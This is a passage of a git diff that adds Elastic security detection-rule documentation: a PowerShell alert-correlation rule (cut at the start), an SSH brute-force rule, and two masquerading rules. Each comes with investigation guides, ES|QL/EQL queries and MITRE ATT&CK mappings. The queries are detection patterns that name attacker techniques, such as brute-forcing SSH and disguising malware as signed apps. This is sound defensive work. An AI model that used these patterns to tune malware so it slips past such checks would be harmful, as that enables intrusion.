user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if user-scoped alerts are quiet or ambiguous, compare related alerts for preserved `host.id` over 48 hours. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same script body, rule-name mix, or indicators appear on unrelated hosts or users; keep scope local when recurrence stays on the host under review, but do not close from recurrence alone. + +- Weigh contributing-alert alignment, reconstructed script, launch chain, artifacts, destinations, and host/user scope; escalate for offensive tooling, unauthorized execution, staged payloads, persistence, or suspicious destinations; close only when source evidence binds to one exact benign workflow, using outside confirmation only for facts telemetry cannot prove; preserve artifacts and escalate on conflicts or missing telemetry. + + +*False positive analysis* + + +- Authorized red-team, lab, or detection-validation can trigger several PowerShell rules on one script. Confirm alert mix, reconstructed script, launch chain, `user.id`, and `host.id` match exact test scope; if records are unavailable, recurrence can support scoping but cannot close the alert. +- Endpoint management or deployment automation can trigger multiple detections through encoded content, dynamic script generation, or controlled downloads. Confirm `powershell.file.script_block_text`, parent/child command lines, artifacts, and destinations align with one managed workflow. If script body, destinations, or follow-on artifacts diverge, do not close as benign. +- Before an exception, validate stable benign anchors: `user.id`, `host.id`, parent/child command lines, script fragment, and destination or artifact pattern. Avoid exceptions on ES|QL summary fields or `Esql.script_block_id`; they are alert-local or execution-specific. + + +*Response and remediation* + + +- If confirmed benign, document the alert mix, reconstructed script, launch chain, and recovered host/user context before reversing containment. Build exceptions from stable recovered workflow anchors, not ES|QL summary fields alone. +- If suspicious but unconfirmed, preserve contributing alerts, `Esql._id_values`, `Esql.script_block_id`, rule-name values, reconstructed script text, recovered parent/child command lines, file/registry paths, and DNS/destination indicators before cleanup. Apply reversible containment first, such as temporary destination restrictions or heightened monitoring on recovered `host.id` and `user.id`; isolate or strengthen account action only if the script is still executing, staging payloads, or reaching suspicious destinations and host role allows. +- If confirmed malicious, record entity IDs, command lines, and indicators, then isolate the host when lateral-movement or active-payload risk is present. Stop the PowerShell process or descendants only after preserving evidence; if direct response is unavailable, escalate with the evidence set. Block confirmed malicious destinations, URLs, hashes, and script paths; eradicate only tied files, registry changes, tasks, services, and payloads; remediate the launch path; and review related hosts/users before destructive cleanup. +- Post-incident hardening: preserve or expand PowerShell 4104 logging, source-alert retention, endpoint process telemetry, and Windows Security logs when gaps limited recovery; where operations allow, restrict high-risk PowerShell through signed scripts, Constrained Language Mode, JEA, or WinRM controls. Document the rule-name mix, observables, and adjacent variants such as indirect System.Management.Automation execution. + + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* metadata _id + +// Filter for PowerShell related alerts +| where kibana.alert.rule.name like "*PowerShell*" + +// as alerts don't have non-ECS fields, parse the script block ID using grok +| grok message "ScriptBlock ID: (?.+)" +| where Esql.script_block_id is not null + +// keep relevant fields for further processing +| keep kibana.alert.rule.name, Esql.script_block_id, _id, user.id, process.pid, host.id + +// count distinct alerts and filter for matches above the threshold +| stats + Esql.kibana_alert_rule_name_count_distinct = count_distinct(kibana.alert.rule.name), + Esql.kibana_alert_rule_name_values = values(kibana.alert.rule.name), + Esql._id_values = values(_id), + Esql.user_id_values = values(user.id), + Esql.process_pid_values = values(process.pid), + Esql.host_id_values = values(host.id) + by Esql.script_block_id + +// Apply detection threshold +| where Esql.kibana_alert_rule_name_count_distinct >= 5 +| eval user.id = MV_MIN(Esql.user_id_values), + process.pid = MV_MIN(Esql.process_pid_values), + host.id = MV_MIN(Esql.host_id_values) +| keep host.id, user.id, process.pid, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-malware-driven-ssh-brute-force-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-malware-driven-ssh-brute-force-attempt.asciidoc new file mode 100644 index 0000000000..780e631baa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-malware-driven-ssh-brute-force-attempt.asciidoc @@ -0,0 +1,241 @@ +[[prebuilt-rule-8-19-34-potential-malware-driven-ssh-brute-force-attempt]] +=== Potential Malware-Driven SSH Brute Force Attempt + +This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Malware-Driven SSH Brute Force Attempt* + + +SSH is a protocol used to securely access remote systems. Adversaries exploit it by deploying malware on compromised Linux hosts to perform brute-force attacks, attempting unauthorized access to other systems. The detection rule identifies such abuse by monitoring high volumes of outbound SSH connection attempts from a single process to external IPs, indicating potential malware activity. + + +*Possible investigation steps* + + +- Review the process executable identified in the alert to determine if it is a legitimate application or potentially malicious. Check for known malware signatures or unusual file paths. +- Analyze the destination IP addresses involved in the connection attempts to identify if they are known malicious hosts or part of a larger attack infrastructure. Use threat intelligence sources to gather more information. +- Examine the host's recent activity logs to identify any unusual behavior or signs of compromise, such as unexpected process executions or changes in system configurations. +- Investigate the specific agent.id associated with the alert to determine if other alerts or suspicious activities have been reported from the same host, indicating a broader compromise. +- Check for any recent changes or updates to the host's software or configurations that could have introduced vulnerabilities exploited by the malware. +- Assess the network traffic patterns from the host to identify any other unusual outbound connections that may indicate additional malicious activity or data exfiltration attempts. + + +*False positive analysis* + + +- High-volume legitimate SSH operations from a single process can trigger alerts. Exclude known safe processes or scripts that perform frequent SSH operations by adding them to an exception list. +- Automated backup or synchronization tools using SSH to connect to external servers may be misidentified. Identify these tools and exclude their process names or IP addresses from the detection rule. +- Development or testing environments where SSH connections are frequently initiated to external systems for legitimate purposes can cause false positives. Document these environments and adjust the rule to exclude their specific IP ranges or process identifiers. +- Security scanning tools that perform SSH checks on external systems might be flagged. Ensure these tools are recognized and their activities are excluded by specifying their process names or IP addresses in the rule exceptions. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network immediately to prevent further unauthorized access attempts and potential spread of malware to other systems. +- Terminate the suspicious process identified by the detection rule to stop ongoing brute-force attempts and reduce the risk of further compromise. +- Conduct a thorough malware scan on the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software. +- Review and reset credentials for any accounts that may have been targeted or compromised during the brute-force attempts to ensure account security. +- Apply security patches and updates to the affected host and any other vulnerable systems to mitigate known vulnerabilities that could be exploited by similar threats. +- Monitor network traffic for any signs of continued or new suspicious activity, particularly focusing on outbound SSH connections, to detect and respond to any further attempts promptly. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on the broader network infrastructure. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version + +| mv_expand event.action + +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + destination.port in (22, 222, 2222, 10022, 2022, 2200, 62612, 8022) and + not ( + cidr_match( + destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", + "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", + "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) or + process.executable in ( + "/usr/bin/rclone", "/usr/bin/sss_ssh_knownhostsproxy", "/usr/sbin/sshd", "/usr/bin/ssh", + "/usr/local/bin/php", "/usr/sbin/apache2", "/usr/sbin/nginx", "/usr/local/bin/argocd-repo-server", + "/opt/nessus/sbin/nessusd", "/usr/local/bin/source-controller" + ) or + process.executable like "/usr/local/efax/*" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + destination.port, + destination.ip, + process.executable, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, destination.port + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count >= 100 + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| sort Esql.event_count asc + +| keep Esql.*, agent.id, host.name, process.executable, destination.port + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-business-app-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-business-app-installer.asciidoc new file mode 100644 index 0000000000..2bffe9d1af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-business-app-installer.asciidoc @@ -0,0 +1,291 @@ +[[prebuilt-rule-8-19-34-potential-masquerading-as-business-app-installer]] +=== Potential Masquerading as Business App Installer + +Identifies executables with names resembling legitimate business applications but lacking signatures from the original developer. Attackers may trick users into downloading malicious executables that masquerade as legitimate applications via malicious ads, forum posts, and tutorials, effectively gaining initial access. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers + +*Tags*: + +* Domain: Endpoint +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Initial Access +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Masquerading as Business App Installer* + + +Business applications are integral to productivity, often downloaded and installed by users. Adversaries exploit this by creating malicious executables with names mimicking legitimate apps, tricking users into installing them. The detection rule identifies such threats by checking for unsigned executables in download directories, ensuring they don't masquerade as trusted applications. + + +*Possible investigation steps* + + +- Review the process name and executable path to confirm if it matches any known legitimate business application names listed in the rule, such as Slack, WebEx, or Teams, and verify if it was executed from a typical download directory. +- Check the process code signature status and subject name to determine if the executable is unsigned or signed by an untrusted entity, which could indicate a masquerading attempt. +- Investigate the source of the download by examining browser history, email attachments, or any recent file transfers to identify potential phishing attempts or malicious download sources. +- Analyze the process execution context, including parent processes and command-line arguments, to understand how the executable was launched and if it aligns with typical user behavior. +- Look for any network connections initiated by the process to identify suspicious outbound traffic or connections to known malicious IP addresses or domains. +- Cross-reference the executable's hash with threat intelligence databases to check for known malware signatures or previous reports of malicious activity. +- If the executable is determined to be suspicious, isolate the affected system and perform a full malware scan to prevent further compromise. + + +*False positive analysis* + + +- Unsigned executables from legitimate developers may trigger alerts if they are not properly signed or if the signature is not recognized. Users can create exceptions for specific executables by verifying the developer's authenticity and adding them to a trusted list. +- Custom or in-house developed applications that mimic business app names but are unsigned can cause false positives. Organizations should ensure these applications are signed with a trusted certificate or add them to an exclusion list after verifying their safety. +- Software updates or beta versions of legitimate applications might not have updated signatures, leading to false positives. Users should verify the source of the update and, if legitimate, temporarily exclude these versions from the rule. +- Applications installed in non-standard directories that match the naming patterns but are legitimate can be excluded by specifying trusted paths or directories in the rule configuration. +- Third-party tools or utilities that integrate with business applications and use similar naming conventions might be flagged. Users should verify these tools and, if safe, add them to an exception list to prevent future alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious actions. +- Quarantine the executable file flagged by the detection rule to prevent execution and further analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze the process execution logs and any related network activity to understand the scope of the intrusion and identify any other potentially compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to prevent unauthorized executables from running, ensuring only trusted and signed applications are allowed to execute. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and + event.type == "start" and process.executable : "?:\\Users\\*\\Downloads\\*" and + not process.code_signature.status like ("errorCode_endpoint*", "errorUntrustedRoot", "errorChaining") and process.hash.sha256 != null and + ( + /* Slack */ + (process.name : "*slack*.exe" and not + (process.code_signature.subject_name in ( + "Slack Technologies, Inc.", + "Slack Technologies, LLC" + ) and process.code_signature.trusted == true) + ) or + + /* WebEx */ + (process.name : "*webex*.exe" and not + (process.code_signature.subject_name in ("Cisco WebEx LLC", "Cisco Systems, Inc.") and process.code_signature.trusted == true) + ) or + + /* Teams */ + (process.name : "teams*.exe" and not + (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Discord */ + (process.name : "*discord*.exe" and not + (process.code_signature.subject_name == "Discord Inc." and process.code_signature.trusted == true) + ) or + + /* WhatsApp */ + (process.name : "*whatsapp*.exe" and not + (process.code_signature.subject_name in ( + "WhatsApp LLC", + "WhatsApp, Inc", + "24803D75-212C-471A-BC57-9EF86AB91435", + /* WhatsApp Installer - MS Store */ + "Microsoft Corporation" + ) and process.code_signature.trusted == true) + ) or + + /* Zoom */ + (process.name : ("*zoom*installer*.exe", "*zoom*setup*.exe", "zoom.exe") and not + (process.code_signature.subject_name in ( + "Zoom Video Communications, Inc.", "Zoom Communications, Inc." + ) and process.code_signature.trusted == true) + ) or + + /* Outlook */ + (process.name : "*outlook*.exe" and not + ( + (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) or + ( + process.name: "MSOutlookHelp-PST-Viewer.exe" and process.code_signature.subject_name == "Aryson Technologies Pvt. Ltd" and + process.code_signature.trusted == true + ) + ) + ) or + + /* Thunderbird */ + (process.name : "*thunderbird*.exe" and not + (process.code_signature.subject_name == "Mozilla Corporation" and process.code_signature.trusted == true) + ) or + + /* Grammarly */ + (process.name : "*grammarly*.exe" and not + (process.code_signature.subject_name == "Grammarly, Inc." and process.code_signature.trusted == true) + ) or + + /* Dropbox */ + (process.name : "*dropbox*.exe" and not + (process.code_signature.subject_name == "Dropbox, Inc" and process.code_signature.trusted == true) + ) or + + /* Tableau */ + (process.name : "*tableau*.exe" and not + (process.code_signature.subject_name == "Tableau Software LLC" and process.code_signature.trusted == true) + ) or + + /* Google Drive */ + (process.name : "*googledrive*.exe" and not + (process.code_signature.subject_name == "Google LLC" and process.code_signature.trusted == true) + ) or + + /* MSOffice */ + (process.name : "*office*setup*.exe" and not + (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Okta */ + (process.name : "*okta*.exe" and not + (process.code_signature.subject_name == "Okta, Inc." and process.code_signature.trusted == true) + ) or + + /* OneDrive */ + (process.name : "*onedrive*.exe" and not + (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Chrome */ + (process.name : "*chrome*.exe" and not + (process.code_signature.subject_name in ("Google LLC", "Google Inc") and process.code_signature.trusted == true) + ) or + + /* Firefox */ + (process.name : "*firefox*.exe" and not + (process.code_signature.subject_name == "Mozilla Corporation" and process.code_signature.trusted == true) + ) or + + /* Edge */ + (process.name : ("*microsoftedge*.exe", "*msedge*.exe") and not + (process.code_signature.subject_name == "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Brave */ + (process.name : "*brave*.exe" and not + (process.code_signature.subject_name == "Brave Software, Inc." and process.code_signature.trusted == true) + ) or + + /* GoogleCloud Related Tools */ + (process.name : "*GoogleCloud*.exe" and not + (process.code_signature.subject_name == "Google LLC" and process.code_signature.trusted == true) + ) or + + /* Github Related Tools */ + (process.name : "*github*.exe" and not + (process.code_signature.subject_name == "GitHub, Inc." and process.code_signature.trusted == true) + ) or + + /* Notion */ + (process.name : "*notion*.exe" and not + (process.code_signature.subject_name == "Notion Labs, Inc." and process.code_signature.trusted == true) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-communication-apps.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-communication-apps.asciidoc new file mode 100644 index 0000000000..4a46df625f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-communication-apps.asciidoc @@ -0,0 +1,220 @@ +[[prebuilt-rule-8-19-34-potential-masquerading-as-communication-apps]] +=== Potential Masquerading as Communication Apps + +Identifies suspicious instances of communications apps, both unsigned and renamed ones, that can indicate an attempt to conceal malicious activity, bypass security features such as allowlists, or trick users into executing malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Masquerading as Communication Apps* + + +Communication apps are integral to modern workflows, facilitating seamless interaction. However, adversaries can exploit these apps by masquerading malicious processes as legitimate ones, bypassing security measures and deceiving users. The detection rule identifies suspicious instances by checking for unsigned or improperly signed processes, ensuring they match known trusted signatures. This helps in flagging potential threats that mimic trusted communication tools, aiding in defense evasion detection. + + +*Possible investigation steps* + + +- Review the process name and code signature details to confirm if the process is indeed masquerading as a legitimate communication app. Check if the process name matches any of the specified apps like slack.exe, WebexHost.exe, etc., and verify the code signature subject name and trust status. +- Investigate the origin of the executable file by checking its file path and creation date. Determine if it was recently added or modified, which might indicate suspicious activity. +- Analyze the parent process to understand how the suspicious process was initiated. This can provide insights into whether it was launched by a legitimate application or a potentially malicious script or program. +- Check for any network connections initiated by the suspicious process. Look for unusual or unauthorized external connections that might suggest data exfiltration or command and control communication. +- Review recent system logs and security alerts for any related activities or anomalies that coincide with the start of the suspicious process. This can help identify if the process is part of a larger attack pattern. +- Consult threat intelligence sources to see if there are any known indicators of compromise (IOCs) associated with the process or its hash value, which can help in assessing the threat level. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily result in unsigned or improperly signed processes. Users can create exceptions for known update processes to prevent false positives during these periods. +- Custom or internally developed communication tools that mimic the names of popular apps might trigger alerts. Ensure these tools are properly signed and add them to an allowlist if they are trusted. +- Some third-party security or monitoring tools may interact with communication apps in a way that alters their signature status. Verify the legitimacy of these tools and consider excluding them from the rule if they are deemed safe. +- In environments where communication apps are deployed via non-standard methods, such as portable versions, ensure these versions are signed correctly or add them to an exception list if they are verified as safe. +- Temporary network issues or system misconfigurations might cause legitimate apps to appear unsigned. Regularly audit and correct any network or system issues to minimize these occurrences. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of potential malware or unauthorized access. +- Terminate any suspicious processes identified by the detection rule that are masquerading as communication apps, ensuring they are not legitimate processes. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious files or software. +- Review and validate the code signatures of all communication apps on the affected system to ensure they are properly signed by trusted entities. +- Restore any compromised systems from a known good backup to ensure the integrity of the system and data. +- Monitor network traffic and system logs for any signs of lateral movement or further attempts to exploit communication apps. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and + event.type == "start" and + not process.code_signature.status like "errorCode_endpoint*" and process.hash.sha256 != null and + ( + /* Slack */ + (process.name : "slack.exe" and not + (process.code_signature.subject_name : ( + "Slack Technologies, Inc.", + "Slack Technologies, LLC" + ) and process.code_signature.trusted == true) + ) or + + /* WebEx */ + (process.name : "WebexHost.exe" and not + (process.code_signature.subject_name : ("Cisco WebEx LLC", "Cisco Systems, Inc.") and process.code_signature.trusted == true) + ) or + + /* Teams */ + (process.name : "Teams.exe" and not + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) and + process.executable != "C:\\Program Files (x86)\\Teams Installer\\Teams.exe" + ) or + + /* Discord */ + (process.name : "Discord.exe" and not + (process.code_signature.subject_name : "Discord Inc." and process.code_signature.trusted == true) + ) or + + /* RocketChat */ + (process.name : "Rocket.Chat.exe" and not + (process.code_signature.subject_name : "Rocket.Chat Technologies Corp." and process.code_signature.trusted == true) and + process.executable != "C:\\Program Files\\rocketchat\\Rocket.Chat.exe" + ) or + + /* Mattermost */ + (process.name : "Mattermost.exe" and not + (process.code_signature.subject_name : "Mattermost, Inc." and process.code_signature.trusted == true) + ) or + + /* WhatsApp */ + (process.name : "WhatsApp.exe" and not + (process.code_signature.subject_name : ( + "WhatsApp LLC", + "WhatsApp, Inc", + "24803D75-212C-471A-BC57-9EF86AB91435" + ) and process.code_signature.trusted == true) + ) or + + /* Zoom */ + (process.name : "Zoom.exe" and not + (process.code_signature.subject_name : ( + "Zoom Video Communications, Inc.", + "Zoom Communications, Inc." + ) and process.code_signature.trusted == true) + ) or + + /* Outlook */ + (process.name : "outlook.exe" and not + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Thunderbird */ + (process.name : "thunderbird.exe" and not + (process.code_signature.subject_name : "Mozilla Corporation" and process.code_signature.trusted == true) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-system32-dll.asciidoc 